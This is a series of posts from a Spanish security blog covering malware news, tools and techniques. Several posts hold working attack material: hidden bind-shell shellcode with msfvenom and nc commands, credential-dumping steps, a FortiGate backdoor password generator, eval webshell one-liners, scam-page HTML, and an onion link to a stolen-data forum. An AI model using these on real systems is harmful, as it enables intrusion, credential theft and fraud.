¿Cifraron las fotos de tu móvil? Amigo, el ransomware también existe en Android...

Imagina todas las fotos que haces y almacenas en el móvil y que de repente un día dejas de tenerlas y te aparece un infame mensaje en el que te piden dinero por descifrarlas. Esto es sólo un ejemplo porque, efectivamente, el ransomware no es exclusivo de los PCs...

Desde mayo de 2014 se conoce una variante de malware de tipo ransomware bautizada como 'Lockdroid' que es capaz de bloquear o cambiar el PIN de un dispositivo Android e incluso cifrar y borrar los archivos de un dispositivo Android mediante un reset de fábrica.

La nueva variante Android.Lockdroid.E descubierta por Symantec, se distribuye a través de la aplicación "Porn ‘O’ Mania" presente en markets de terceros (los usuarios de Google Play Store están a salvo). Si el usuario es infectado, el ransomware obtendrá root, cifrará los archivos, bloqueará el teléfono y mostrará un mensaje pidiendo un rescate, amenazando además a la víctima con enviar su historial de navegación a todos sus contactos.

Pero sin duda lo que más llama la atención es su forma de instalarse engañando al usuario mediante técnicas de clickjacking, una técnica que ya vimos por ejemplo en la Blackhat hace años y que se ha usado en otro malware como BadAccent: superpone una pantalla (TYPE_SYSTEM_OVERLAY window) para que el usuario pulse un botón de "Continuar" cuando realmente está pulsando al botón para conceder todos los permisos administrativos necesarios a la aplicación maliciosa.

La parte buena es que la posibilidad de mostrar popups secundarios en pantallas de instalación fue eliminada en la versión de Android 5.0 (Lollipop). La mala, que casi el 67% de los terminales con Android todavía utilizan una versión anterior. Así que si eres uno de ellos... ¡¡actualiza!!

Fuentes:
- Android ransomware variant uses clickjacking to become device administrator
- Android Ransomware Threatens to Share Your Browsing History with Your Friends
- "Lockdroid" Ransomware Can Lock Smartphones, Erase Data
- New Android ransomware uses clickjacking to gain admin privileges

whatportis: un comando para buscar a qué número de puerto corresponde un servicio y viceversa

¿Cuantas veces has buscado en Internet a qué servicio estándar corresponde un puerto TCP/UDP o viceversa? Hazlo como un pro desde tu consola con la utilidad whatportis.

Instalación:

$ pip install whatportis

Uso:

Buscar qué puerto está asociado con un servicio:

$ whatportis redis
+-------+------+----------+---------------------------------------+
| Name  | Port | Protocol | Description                           |
+-------+------+----------+---------------------------------------+
| redis | 6379 |   tcp    | An advanced key-value cache and store |
+-------+------+----------+---------------------------------------+

O a la inversa, qué servicio está asociado con un número de puerto determinado:

$ whatportis 5432
+------------+------+----------+---------------------+
| Name       | Port | Protocol | Description         |
+------------+------+----------+---------------------+
| postgresql | 5432 |   tcp    | PostgreSQL Database |
| postgresql | 5432 |   udp    | PostgreSQL Database |
+------------+------+----------+---------------------+

Además, podemos buscar patrones sin conocer exactamente el nombre simplemente añadiendo la opción --like:
$ whatportis mysql --like
+----------------+-------+----------+-----------------------------------+
| Name           |  Port | Protocol | Description                       |
+----------------+-------+----------+-----------------------------------+
| mysql-cluster  |  1186 |   tcp    | MySQL Cluster Manager             |
| mysql-cluster  |  1186 |   udp    | MySQL Cluster Manager             |
| mysql-cm-agent |  1862 |   tcp    | MySQL Cluster Manager Agent       |
| mysql-cm-agent |  1862 |   udp    | MySQL Cluster Manager Agent       |
| mysql-im       |  2273 |   tcp    | MySQL Instance Manager            |
| mysql-im       |  2273 |   udp    | MySQL Instance Manager            |
| mysql          |  3306 |   tcp    | MySQL                             |
| mysql          |  3306 |   udp    | MySQL                             |
| mysql-proxy    |  6446 |   tcp    | MySQL Proxy                       |
| mysql-proxy    |  6446 |   udp    | MySQL Proxy                       |
| mysqlx         | 33060 |   tcp    | MySQL Database Extended Interface |
+----------------+-------+----------+-----------------------------------+
 

Seguro que pensáis por qué no usar simplemente "grep /etc/services"... La razón es porque es un comando portable con un formato más agradable. Utiliza la web de Iana.org para obtener una listado oficial de puertos (ports.db) que próximamente podremos forzar a actualizar con update.

Fuente: https://github.com/ncrocfer/whatportis

Oculta tu backdoor de las miradas indiscretas de la red

Cualquier aplicación que use el API de Winsock2 puede usar la función WSAAccept() que permite configurar una condición para rechazar una conexión entrante. El ejemplo más claro es responder con un RST si quien intenta abrir el socket no es la IP que esperamos.

Esta técnica, que apareció en Hacker Defense Magazine allá por 2005 en el artículo "Developing a portless backdoor by hijacking WSAAccept()" publicado por Shawn Zhung, puede resultar tremendamente útil a la hora de ocultar backdoors en Windows. Es decir, si logramos comprometer varios servidores en una LAN, es capital ocultar los puertos de nuestro shellcode de cara a evitar ser detectados si una organización (u otro listo) realiza periódicamente escaneos.

Esto lo implementó perfectamente Borja Merino al modificar el payload del shell_bind_tcp de Stephen Fewer:

  push 0x1                    ; size, in bytes, of the buffer pointed to by the "optval" parameter
  push esp                     ; optval: pointer to the buffer in which the value for the requested option is specified 
  push 0x3002              ; level at which the option is defined: SOL_SOCKET
  push 0xFFFF             ; the socket option: SO_CONDITIONAL_ACCEPT
  push edi                     ; socket descriptor
  push 0x2977A2F1     ; hash( "ws2_32.dll", "setsockopt" )
  call ebp                      ; setsockopt(s, SOL_SOCKET, SO_CONDITIONAL_ACCEPT, &bOptVal, 1 );
  
  push ebx                    ; backlog
  push edi                     ; socket
  push 0xFF38E9B7     ; hash( "ws2_32.dll", "listen" )
  call ebp                      ; listen( s, 0 );
      
condition:
  push ebx                             ; dwCallbackData (ebx = 0, no data needed for the condition function)
  call wsaaccept                     ; push the start of the condition function on the stack
  mov eax, DWORD [esp 4]    
  mov eax, DWORD [eax 4]   
  mov eax, DWORD [eax 4]  ; get the client IP returned in the stack
  sub eax, 0x2101A8C0        ; compare the client IP with the IP allowed
  jz return                               ; if equal returns CF_ACCEPT
  xor eax, eax                         ; If not equal, the condition function returns CF_REJECT
  inc eax
return:
  retn 0x20               ; some stack alignment needed to return to mswsock
  
wsaaccept:
  push ebx                       ; length of the sockaddr = nul
  push ebx                       ; struct sockaddr = nul
  push edi                        ; socket descriptor
  push 0x33BEAC94       ; hash( "ws2_32.dll", "wsaaccept" )
  call ebp                         ; wsaaccept( s, 0, 0, &fnCondition, 0)
  cmp eax, -1                  ; if error jump to condition function to wait for another connection
  jz condition

Las versiones single y stager ya se han incluido en Metasploit por lo que para crear un payload simplemente podemos probar:

root@kali:~# msfvenom -p windows/shell_hidden_bind_tcp LPORT=12345 AHOST=192.168.1.25 -f exe > shell_oculto.exe

Si lo hacéis así de sencillo, sin darle más "amor" al binario, será detectado por el antivirus, pero de cualquier forma si queréis probar o si conseguís ejecutarlo en la máquina de la víctima el puerto 12345 no debería ser accesible por ninguna máquina que no sea la definida en la variable AHOST:

vmotos@kali:~$ nmap -p12345 192.168.1.124

Starting Nmap 7.00 ( https://nmap.org ) at 2016-01-27 12:08 EST
Stats: 0:00:06 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Ping Scan Timing: About 50.00% done; ETC: 12:08 (0:00:01 remaining)
Nmap scan report for 192.168.1.124
Host is up (1.0s latency).
PORT      STATE  SERVICE
12345/tcp closed netbus


Nmap done: 1 IP address (1 host up) scanned in 7.96 seconds

Sin embargo, si probamos desde la máquina del atacante (192.168.1.25 en este caso) podremos ver el puerto abierto y acceder a nuestro shellcode sin problemas:

root@server1:/# nmap -p12345 192.168.1.124

Starting Nmap 5.21 ( http://nmap.org ) at 2016-01-27 18:10 CET
Nmap scan report for 192.168.1.124
Host is up (0.0036s latency).
PORT      STATE SERVICE
12345/tcp open  netbus

Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds

root@server1:/# nc 192.168.1.124 12345
Microsoft Windows [Versi¢n 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\pepe\Desktop>whoami
whoami
dominio\pepe


Evidentemente esto sería util para ocultarlo a la red local. Si queremos hacerlo a nivel local ya tendríamos que hablar de rootkits... pero eso ya es otra historia...

FuenteHidden Bind Shell: Keep your shellcode hidden from scans 

El malware sabe que lo estás observando...

El malware actual ya usa una gran variedad de técnicas para evadir la tecnología de sandboxing y otros sistemas de análisis. Aunque estas técnicas son cada vez más sofisticadas normalmente podemos dividir las más básicas en cuatro tipos distintos, según su objeto de detección:

- Configuraciones específicas: sleep calls, time triggers, fast flux (dns) y ocultación de procesos
- Interacción humana: movimiento del ratón y ventanas de diálogo
- Entornos específicos: versiones, iframes embebidos y DLL loaders
- VMware específicos — listas de servicios del sistema, ficheros únicos y puertos VMX

Muchas de estas técnicas podéis encontrarlas en herramientas como ScoopyNG o sobretodo Paranoid Fish (pafish) del genial Alberto Ortega (@a0rtega) que ya descubrimos en 2012 y que actualmente está en la versión 0.6 incluyendo un buen número de comprobaciones para detectar la presencia de VM, sandboxes y otros elementos de seguridad. Por ejemplo, su ejecución en la máquina en la que estaba escribiendo esta entrada revela la presencia de VMWare:



Por otro lado y debido precisamente a la proliferación de entornos virtuales, sobre todo en empresas, últimamente muchos desarrolladores de malware comprenden que no les conviene parar la ejecución de sus payloads sólo por estar en una VM y utilizan otras técnicas como buscar modificaciones en el sistema operativo o configuraciones de hardware o software inusuales. Para este caso os aconsejo echar un vistazo al sandbox tester de MRGEffitas.

En cualquier caso estas herramientas son siempre de doble filo: por un lado permiten a los administradores de los sistemas identificar y (si es posible) mitigar sus puntos débiles en términos de detección, y por otro facilita a los desarrolladores de malware la implementación de estas técnicas que hacen sus artefactos más indetectables y por lo tanto más prolíficos en términos de infección y propagación.

En el primer caso he visto importantes mejoras para la indetección como en Virtualbox o en Cuckoo Sandbox, si bien he de decir que tengo la impresión convicción de que los atacantes tienen ventaja. Me explico, siempre he pensado que la mejor manera de analizar una muestra es en un laboratorio con una máquina física en un entorno controlado lo más real posible al que luego realizar un análisis forense detallado. Sin embargo, esto es evidentemente inviable si extrapolamos el análisis aun sistema de AV que es como una enorme cadena de producción que no puede parar: hay que analizar y determinar un resultado para cada fichero a una velocidad vertiginosa para no afectar (o hacerlo mínimamente) a la experiencia de usuario.

Resumiendo:

- aún analizando manualmente es muy difícil evitar las técnicas anti-análisis (debugging, sandboxing, virtual) si el malware las implementa correctamente
- la detección de amenazas en tiempo real es simplemente economía de escala, se intentará detener el mayor porcentaje posible de positivos pero el sistema es "consciente" que no detendrá algo nuevo y elaborado. 

¿O alguien conoce un sistema infalible que pueda engañar a aquellos que nacen para engañar? Yo creo que no existe, como no existe el 100% de seguridad en nada...

RWMC, un "Mimikatz" en powershell autosuficiente para obtener las credenciales de Windows

Una vez que hemos escalado privilegios una de las cosas más "golosas" que podemos realizar, sobretodo en un servidor, es obtener las contraseñas en claro de sus usuarios.

Seguro que habéis pensado en Mimikatz o WCE pero hoy vamos a hablaros de una alternativa muy interesante que no usa .dlls del sistema para descifrar las credenciales. Se trata de RWMC (Reveal Windows Memory Credentials), un script que sólo mediante Powershell (AES, TripleDES y el indocumentado DES-X) y comandos del depurador de Windows (Microsoft Console Debugger o CDB) es capaz de conseguir cumplir el sólito nuestros húmedos oscuros deseos.

Funciona desde Windows 2003 a 2012 incluyendo Windows 10 (ha sido probado en 2003, 2008r2, 2012, 2012r2 y Windows 7 - 32 y 64 bits, Windows 8 y Windows 10 Home edition) y apenas deja rastro...

Puedes elegir usar o no cmdlets del DA y funciona de forma local o remota, o extrayendo las contraseñas de un volcado de un proceso lsass de otra máquina o de un snapshot de de una máquina virtual. Basta con tener Powershell 3.0 o superior y una conexión a Internet.


Para usarlo simplemente hay que abrir una consola o un Entorno de script integrado (ISE) como administrador y permitir previamente la ejecución de scripts:

Set-ExecutionPolicy Unrestricted -force

Luego descargar y descomprimir el zip de https://github.com/giMini/RWMC/archive/master.zip.

Y finalmente lanzar el script RWMC.ps1:



Para, después de unos segundos/minutos, recoger los frutos...


Repositorio PowerMemory: https://github.com/giMini/PowerMemory

Bloquea a los usuarios infectados con ransomware con CryptoBlocker

CryptoBlocker es un script en powershell sencillo pero bastante útil para bloquear a los usuarios infectados por distintas variantes de ransomware.

Lo ideal es instalarlo en los servidores de ficheros de tal manera que, cuando se detecte que un usuario escribe algún fichero malicioso en un recurso compartido, deniege inmediata y automáticamente el acceso para impedir que continue cifrando el resto.

Paso a paso lo que hace es lo siguiente:

1. Revisa los recursos de red compartidos
2. Instala File Server Resource Manager (FSRM)
3. Crea los scripts batch/PowerShell usados por FSRM
4. Crea un Grupo de Ficheros en FSRM que contiene los nombres de archivos y extensiones maliciosos
5. Crear una Pantalla de Ficheros usando el grupo creado anteriormente, con notificaciones de eventos y comandos
6. Crea Pantallas de Ficheros usando esa plantilla para cada unidad que contenga recursos de red compartidos

Recordar que este script no parará las variantes de ransomware que utilicen extesiones aleatorias ni borrará los ficheros README. También es posible utilizar el evento "Source = SRMSVC, ID = 8215" para personalizar alarmas si se dispone de un sistema de monitorización. 


Evidentemente también podemos añadir más nombres de fichero / extensiones a $monitoredExtensions y volverlo a desplegar cuando sea necesario.

Fuente: https://github.com/m-dwyer/CryptoBlocker/

Las 25 peores contraseñas del 2015 (y que nunca deberías utilizar)

Dicen que conviene mirar de vez en cuando al pasado para no repetir los mismos errores en el futuro, pero en el caso de las contraseñas parece que no es el caso.

La compañía SplashData viene publicando desde hace años un informe con las contraseñas que más se repiten en los listados que se filtran públicamente a lo largo del año. En 2015 analizaron más de dos millones de contraseñas robadas, la mayoría de usuarios de EE.UU. y Europa, y las más utilizadas siguen siendo “123456” y “password”, algo que viene repitiéndose desde el 2011...

Eso sí, este año en el top 25 aparecen contraseñas más largas pero sumamente sencillas, un esfuerzo baldío de los sitios web y sus usuarios.

RankingContraseñaCambio respecto al 2014
1 123456 =
2 password =
3 12345678 1
4 qwerty 1
5 12345 2
6 123456789 =
7 football 3
8 1234 1
9 1234567 2
10 baseball 2
11 welcome New
12 1234567890 New
13 abc123 1
14 111111 1
15 1qaz2wsx New
16 dragon 7
17 master 2
18 monkey 6
19 letmein 6
20 login New
21 princess New
22 qwertyuiop New
23 solo New
24 passw0rd New
25 starwars New

Fuente: https://www.teamsid.com/worst-passwords-2015/

Recopilación de videos de conferencias de seguridad de 2015

PaulSec ha puesto en GitHub una buena recopilación de charlas de un montón de conferencias de seguridad de todo el mundo. Le he añadido además algunas CON españolas para que, con el resto, podáis disfrutar de horas y horas de los vídeos más entretenidos y educativos del 2015. 

Por favor, si echáis en falta alguna más, sobretodo "hispanoparlante", no dudéis en comentar! 

Conference Location Date
Chaos Communication Congress  (32C3) Hamburg, Germany Dec 27-30
No Con Name [Spanish] Barcelona, Spain Dec 12
SecAdmin  [Spanish] Sevilla, Spain Dec 11-12
Passwords Cambridge, UK Dec 7-9
CyberCamp [Spanish] Madrid, Spain Dec 26-29
DefCamp Bucharest, Romania Nov 19-20
BSides Winnipeg Winnipeg, Canada Nov 14-15
BSides Charleston Charleston, SC, USA Nov 14
BSides Toronto Toronto, Canada Nov 7
Saint Con Ogden, UT, USA Oct 27-30
BruCon Brussels, Belgium Oct 26

El trabajo menos estresante es... consultor de seguridad informática. WTF!

Esta mañana en un grupo de Wachap enlazaban una noticia del Expansión que la que, en una bonita infografía que podéis ver en la imagen de la derecha, mostraba las profesiones más estresantes y menos estresantes para el 2016. Cual fue mi sorpresa al ver que la profesión MENOS estresante según un estudio es ... consultor de seguridad informática... ¡No me jodas!.

En origen el estudio en cuestión fue realizado y publicado por CareerCast, un popular portal de empleo norteamericano de búsqueda de empleo, que desde hace tres años viene publicando este curioso ranking. Supuestamente aplica a los trabajos de Estados Unidos aunque por ende los resultados (dicen) pueden extenderse a muchos países. Su metodología se basa en los siguientes 11 factores de estrés:

  1. Cantidad de viajes 0-10
  2. Crecimiento potencial (ingresos dividido entre 100)
  3. Plazos 0-9
  4. Trabajar de cara al público 0-5
  5. Competitividad 0-15
  6. Exigencias físicas (escalinata, ascenso, etc.) 0-14
  7. Condiciones ambientales 0-13
  8. Peligros encontrados 0-5
  9. Vida propia en riesgo 0-8
  10. Vida de otros en riesgo 0-10
  11. Reuniones públicas 0-8
Pues qué queréis que os diga, en el caso de un consultor de seguridad o informático en general podríamos puntuar bajo los factores que implican peligro físico, si obviamos que estar sentado 8 10 horas al día en una silla es casi igual de insano que fumarse una cajetilla de tabaco diaria (no será para tanto), o que haya cierto riesgo en que te parta las piernas el matón de turno por revelar sus fotos íntimas con cierta querida (o querido) o incluso que una mala planificación en la defensa de una infraestructura crítica pueda poner en riesgo la seguridad, si no la vida, de los demás (coches, equipamiento médico, alarma antirobo, centrales nucleares...). Pero si obviamos todo ésto aún el resto de factores para mi deben puntuar alto en esta curiosa "vara" de medir el nivel de estrés. Es decir, los viajes, los plazos de entrega de los informes "para ayer", la reuniones y la competitividad con sombreros blancos, negros, grises, gatos, perros y demás fauna es el día a día de un consultor de seguridad. ¿Y eso no es estresante? 


Escalado de privilegios utilizando servicios mal configurados

En numerosas ocasiones, algunos de los programas que instalamos en el ordenador requieren un servicio que se ejecute en segundo plano, ya sea de forma contínua o una única ejecución al iniciar el sistema. Estos servicios acostumbran a utilizarse para tareas de actualización, sincronización y demás utilidades que requieran un chequeo periódico. La mayoria de estos servicios se ejecutan con el usuario de sistema local (system) y ejecutan un binario que se encarga de la tarea a realizar.

Ayer veíamos con la técnica de Hot Potato como podíamos aprovechar las conexiones que intentan hacer estos servicios para llamar a ejecutables con sus privilegios, redireccionando las peticiones HTTP a SMB.

Sin embargo, hay una forma mucho más sencilla que es sustituyendo el ejecutable del servicio por otro que, por ejemplo, nos cree un usuario administrador. Evidentemente esto es posible sólo debido a una mala configuración, porque para hacerlo necesitamos que estén mal asignados los permisos. Sin embargo, aunque parezca mentira, en muchísimos servidores me he encontrado servicios que usan ejecutables con acceso total para todos o para el grupo de usuarios (sobretodo con herramientas propias o desarrollos a medida).

Escalado de privilegios en Windows 7,8,10, Server 2008, Server 2012 mediante Hot Potato

Hot Potato de @breenmachine son varias técnicas para escalar privilegios en Güindous. Básicamente podríamos decir que primero redirecciona todo el tráfico HTTP a local para capturar las peticiones de los servicios de la máquina, luego las responde mediante solicitudes de peticiones de autenticación NTLM que reenvía a un servidor SMB local, que finalmente crea un servicio que ejecuta un comando (un cmd.exe por ejemplo) con los privilegios correspondientes.

Así dicho de golpe parece un embrollo, así que vamos a ver paso a paso cómo hacerlo...

En una red local cualquier aplicación puede utilizar Web Proxy Auto Discovery Protocol (en adelante WPAD) para encontrar proxies para poder salir a Internet. Esa información con sus reglas y demás está en un fichero javascript wpad.dat que está en un servidor WPAP accesible mediante la URL: http://wpad/wpad.dat. Esto lo implementó Netscape en 1996 y la verdad es que después de tantos años no ha cambiado demasiado.

En el primer paso del ataque debemos hacer que nuestra máquina no envíe las peticiones HTTP a un proxy real si no a nuestro propio equipo, y eso pasa por falsificar la URL para que apunte a localhost.

1. Falsificador local Netbios

Los clientes pueden recibir la ubicación de wpad.dat mediante DHCP (opción 252) o resolviendo el nombre del servidor WPAD y haciendo un HTTP GET a la URL. Como sabéis el orden normal de resolución de nombres es el fichero host, luego la resolución DNS y finalmente un broadcast UDP mediante NetBIOS Name Service (NBNS).

Un equipo Windows por defecto no tendrá entrada 'wpad' en el fichero host así que el siguiente paso será la consulta al servidor DNS. Normalmente no suele haber ningún registro A 'wpad' pero por si acaso se utiliza una técnica llamada 'agotamiento de puertos UDP' que consiste en usar todos los puertos UDP disponibles (esto en localhost se consigue bastante rápido) para que, a la hora de intentar realizar una consulta DNS, falle porque no hay puertos UDP origen disponibles.
A continuación la tercera vía será la consulta Netbios que tendremos que falsificar para que 'wpad' nos devuelva 127.0.0.1. En principio y sin privilegios no podremos esnifar el tráfico para hacer un MiTM, así que lo que haremos será inundar el host con respuestas NBNS (ya que es un protocolo UDP). Una complicación es que el paquete NBNS tiene un campo de 2 bytes, el IDTX, que no podemos ver y que debe coincidir en la solicitud y la respuesta. Sin embargo podemos iterar sobre todos los 65536 valores posibles al hacerlo rápidamente.

¡El Infierno ha vuelto!

Nos refererimos a que ha vuelto Hell, un foro en la Dark Web en la que se comparten datos robados, técnicas de hacking y otra información *interesante* y que se hizo famoso después de que fuera (supuestamente) descubierto y cerrado por las autoridades policiales en julio de 2015, sobretodo porque uno de sus miembros publicó datos de más de 4 millones de usuarios de Adult Friend Finder. Incluso se especuló de que su admin y fundador "ping" fue detenido, aunque luego reapareció días después.

Ahora otro admin, "HA", ha relanzado el foro: "Hell es ahora público. Cualquiera puede compartir la URL de HELL donde mejor le parezca".

Muchos desconfían del foro y les preocupa que se trate de un frente utilizado por las autoridades policiales para atraer a usuarios notorios y cogerlos in fraganti. De momento ya han filtrado información confidencial de LifeSafer, una compañía famosa en EE.UU. por instalar alcoholímetros para controlar el arranque de los coches (¡atención borrachos!).

See recomienda usar siempre PGP. No hay reglas ni límites. Si queréis entrar (allá cada cual), en el momento de escribir este post, la URL de Tor para acceder al blog es http://legionhiden4dqh4.onion (o con tor2web http://legionhiden4dqh4.onion.to). Eso sí, no se os ocurrar andar pidiendo claves de invitación para registraros...

Fuentes:
- Hell is back with Hell Reloaded on the Dark Web
- Re-Booted Hell Hacking Forum on Dark Web Hacks Car Breathalyzers Manufactures
- Darknet Hacking Forum “Hell” Returns After Shutdown

Revelan la exitencia de un backdoor para acceder por SSH a FortiGate 4.x-5.0.7

Parece que Juniper no es el único que esconde tiene un backdoor para acceder a algunos de sus firewalls con una contraseña "hardcodeada". Recientemente se ha descubierto que los firewalls de Fortinet con la versión de Fortigate OS 4.x a la 5.0.7, también permiten el acceso con privilegios mediante SSH con una contraseña, eso sí, esta vez no es totalmente estática. 

Al loggearnos con el usuario "Fortimanager_Access" se generará una clave numérica aleatoria que *supuestamente* el operador de Fortinet de turno (hola NSA y cía!) usaba para generar una clave de acceso mediante un sencillo algoritmo.

Básicamente este algoritmo consiste en calcular un hash en SHA1 cíclico combinando la cadena dinámica obtenida con otras fijas, como podéis ver a continuación:
#!/usr/bin/env python

import sys
import base64
import hashlib

n = sys.argv[1]
m = hashlib.sha1()
m.update('\x00' * 12)
m.update(n + 'FGTAbc11*xy+Qqz27')
m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())
print h

Si probáis este sencillo script la contraseña de la sesión SSH sería por ejemplo:

python fortigate.py 1759853112
AK1AAAAAAAAAAAAAAAAN5CosnWVyu+nGfiEcqJLjPgf3vM=


Además, hace unos días en Full Disclosure se publicó un script en Python que automatiza la apertura del shell mediante una conexión SSH con Paramiko, una implementación en Python del protocolo SSHv2:

http://seclists.org/fulldisclosure/2016/Jan/26

Como podéis comprobar en la última imágen sacada de un usuario de Reddit y en otros foros ya se ha confirmado dicho backdoor, así que creo que no es necesario que os diga nada más sí tenéis un firewall Fortigate sin actualizar... y mucho menos si tenéis SSH escuchando en un interfaz con una IP pública...



Y es que amigos, la seguridad por oscuridad nunca es buena...

Uso malicioso del API HTML5 para controlar el vibrador del móvil

HTML5 tiene un API para hacer uso del vibrador del móvil. Esto es útil para alertas, para meterse más en los juegos o para otras cosas divertidas como enviar mensajes Morse mediante vibraciones.

Actualmente Chrome y otros navegadores de Android piden permisos para usar características como la geo-localización, la cámara, la libreta de direcciones, etc. como una medida para prevenir que se facilite información delicada sin consentimiento. Sin embargo, acceder al API de HTML5 que controla la vibración no genera ninguna alerta ni requiere permisos del usuario, al fin al cabo porque parece algo bastante inocuo. ¿Qué es lo peor que pudiera pasar, que agoten rápidamente la batería?

Pues como alertaba Terence Eden hace casi un año puede ser más peligroso de lo que parece... y estamos de acuerdo. Por ejemplo, una imagen como la de arriba, con una notificación falsa acompañada con una oportuna vibración puede ser mucho más creíble y hacer que un usuario pique más fácilmente.


¿No están enviando realmente un AirDrop o es la página la que nos está intentando engañar?

¿Y que pasa si combinamos esto con audio en HTML5 para crear una "llamada entrante" falsa? Pues como podéis ver si accedéis con vuestro smartphone a la siguiente página de demo es bastante facil picar en este scam cuando estás navegando desde el móvil:

https://shkspr.mobi/vibratescam/

Código:

<body>
   <script type="text/javascript">
      navigator.vibrate = navigator.vibrate || navigator.webkitVibrate || navigator.mozVibrate || navigator.msVibrate;
      navigator.vibrate([1000, 500, 1000, 500, 1000, 500, 1000, 500, 1000, 500, 1000, 500, 1000, 500]);
   </script>
   <img width="100%" src="phone.png" onclick="window.location.href='tel:09098790815';" />
   <audio autoplay="autoplay"> 
      <source src="ring.mp3" /> 
   </audio>
</body>

Y otra vuelta de tuerca. ¿Y si añadimos "navigator.vibrate" con muy *mala leche* en una web que tiene un XSS persistente? 


Pues imagina un usuario que está visitando un foro u otro site y no deja de vibrarle su smartphone... Pues eso, que acaba cerrando la página... 

Como diría un amigo: no seáis malos.

Debian Linux en una imagen - en memoria de Ian Murdock

En 1993 Ian Ashley Murdock, un jovén estudiante alemán de la Universidad de Purdue, arrancó el proyecto Debian con el objetivo de crear una distribución GNU usando Linux como núcleo y que fuera abierta y desarrollada por miles de voluntarios de todo el mundo. Como curiosidad deciros que el nombre lo compuso a partir del nombre de su novia y luego mujer: DEBorah, y el suyo: IAN

En 1996 se publicó su primera versión estable y partir de ahí el proyecto creció y creció pasando por distintas manos llegando a convertirse
(para mí) en la distribución Linux de referencia, quizás junto con Red Hat. 

Hasta la fecha ha habido 11 versiones estables (con sus respectivas revisiones), como sabéis con nombres cogidos de la película de Toy Story y siempre manteniendo los principios y valores involucrados en el movimiento del Software Libre. La siguiente infografía os hará tener una visión global de su evolución en los últimos años:


La versión 7.0 "wheezy" que aparece en la infografía
al final fue publicada en mayo de 2013 y faltaría la versión actual, la 8.0 "jessie" que salió a la luz el 25 de abril de 2015 y viene con alrededor de 43.000 paquetes de software.

Ian Murdock llevaba apenas trabajando dos meses para Docker y desgraciadamente murió el 28 de diciembre de 2015 en San Francisco, en extrañas circunstancias. 


Esta entrada también se dedica a su memoria pues el creador de Debian, como no puede ser de otra manera, es historia y leyenda de nuestra informática. 

D.E.P.

Fuentes:
- Debian Linux In A Single Image: Understanding The Universal Operating System
- Debian GNU/Linux (Wikipedia)
- Ian Murdock (Wikipedia)
- In Memoriam: Ian Murdock (Docker)
- Debian mourns the passing of Ian Murdock (Bits from Debian)

Blade: un webshell en Python para evadir WAF

Blade es una herramienta de conexión a webshell basado en consola, actualmente en fase de desarrollo que pretende ser una alternativa al chino Chooper

¿Por qué? Pues porque Chooper es un cliente webshell genial, que soporta muchos scripts del lado del servidor, pero sólo puede trabajar en Windows. De ahí la motivación de crear otro "Chooper" pero multiplataforma: compatible 

con Windows, Linux y Mac OS X.
 

Blade se basa en Python por lo que permite a los usuarios modificar los payloads de conexión del webshell de manera que puede evadir algunos WAF que Chooper no puede. Sus funciones principales son:

- Administra un servidor web con una sóla línea de código: <?php @eval($_REQUEST["cmd"]); ?>
- Compatible con PHP, ASP, ASPX y JSP
- Proporciona una consola de terminal
- Gestión de archivos y base de datos

Para que os hagáis una idea, algunos ejemplos de scripts del lado del servidor:

PHP: <?php @eval($_REQUEST["cmd"]); ?>
ASP: <%eval request("cmd")%>
ASPX: <%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>

Uso:

Obtener una shell:
python blade.py -u http: //localhost/shell.php -s php -p cmd --shell
Descargar un archivo:
python blade.py -u http: //localhost/shell.php -s php -p cmd --pull REMOTE_PATH local_path
Subir un archivo:
python blade.py -u http: //localhost/shell.php -s php -p cmd --push local_path REMOTE_PATH

Actualmente sólo está desarrollado el soporte PHP y ASP y todavía no está implementada completamente la gestión de base de datos pero, si continúa su desarrollo, puede resultar un web shell más que interesante:

https://github.com/wonderqs/Blade

Sólo se podrá acceder al programa de recompensas de Tor mediante invitación, al menos al principio

A finales de año en la charla ”State of the Onion” que tuvo lugar en la 32 edición del Chaos Communication Congress en Hamburgo, Nick Mathewson, co-fundador, investigador y arquitecto jefe del Proyecto Tor declaró que este mes de enero se iniciará un programa de recompensas de errores (bug bounty program) para el navegador Tor:

"Estamos muy agradecidos a la gente que ha revisado nuestro código a lo largo de los años, pero la única manera de seguir mejorando es conseguir involucrar a más personas. Este programa animará a la gente a mirar nuestro código, encontrar defectos en el, y nos ayudará a mejorarlo".

Al parecer dicho programa van a realizarlo a través de HackerOne, una plataforma para conectar a los investigadores de tecnología que descubren vulnerabilidades, bugs y otros temas con las empresas afectadas por ellos. HackerOne recaudó $25 millones en fondos privados en 2015.

El dinero va a ser puesto por el Fondo de Tecnología Abierta (Open Technology Fund); una comunidad de expertos que utilizan fondos para apoyar los proyectos de la libertad en Internet en todo el mundo.

Y aquí viene lo malo (o lo bueno según quién lo miré): el programa será sólo accesible, al menos en su fase inicial, mediante invitación. Esto evidentemente ha sido fuertemente criticado... es como decir "hey, vamos a sacar un programa de recompensas para mejorar la seguridad de Tor" y a continuación "pero sólo van a poder participar unos pocos". Una de cal y otra de arena. Se hablaba de 15 a 20 investigadores pero afirman que serán más de 100 como en el resto de programas de HackerOne. 


En cualquier caso dicen que se trata de una especie de fase beta para madurar el programa para más tarde hacerlo enteramente público, a finales de año. Veremos...

Fuentes:
- Tor Project To Start Bug Bounty Program
- Tor Project to Launch Bug Bounty Program
- Tor Project Fights Back with Bug Bounty Promise
- Tor Project To Launch Bug Bounty Program
- Invite-only bug bounty criticised for turning up the heat on Tor

theZoo: una base de datos de malware para analizar

Malware DB es un proyecto mantenido por Yuval Nativ (ytisf) que recopila una buena lista de malware para su análisis. Su objetivo es permitir a las personas que estén interesadas en el análisis de malware, o tal vez incluso como parte de su trabajo, tener acceso a malware "vivo", analizar las formas en que operan e incluso permitir a las personas con experiencia bloquear malwares específicos dentro de su propio entorno.

También llamada theZoo se trata de una base de datos de malware con licencia GPLv3 que tiene un catálogo de lo más interesante: AndroRat, Careto, Duqu, CryptoLocker, Carberp, Zeus, ... y muchos más. Cada directorio de malware tiene por defecto 5 ficheros:

- Los ficheros de malware en un ZIP cifrado
- El hash SHA256 del primer archivo
- El hash MD5 del primer archivo
- El fichero con la contraseña
- El fichero index.log para el indexer

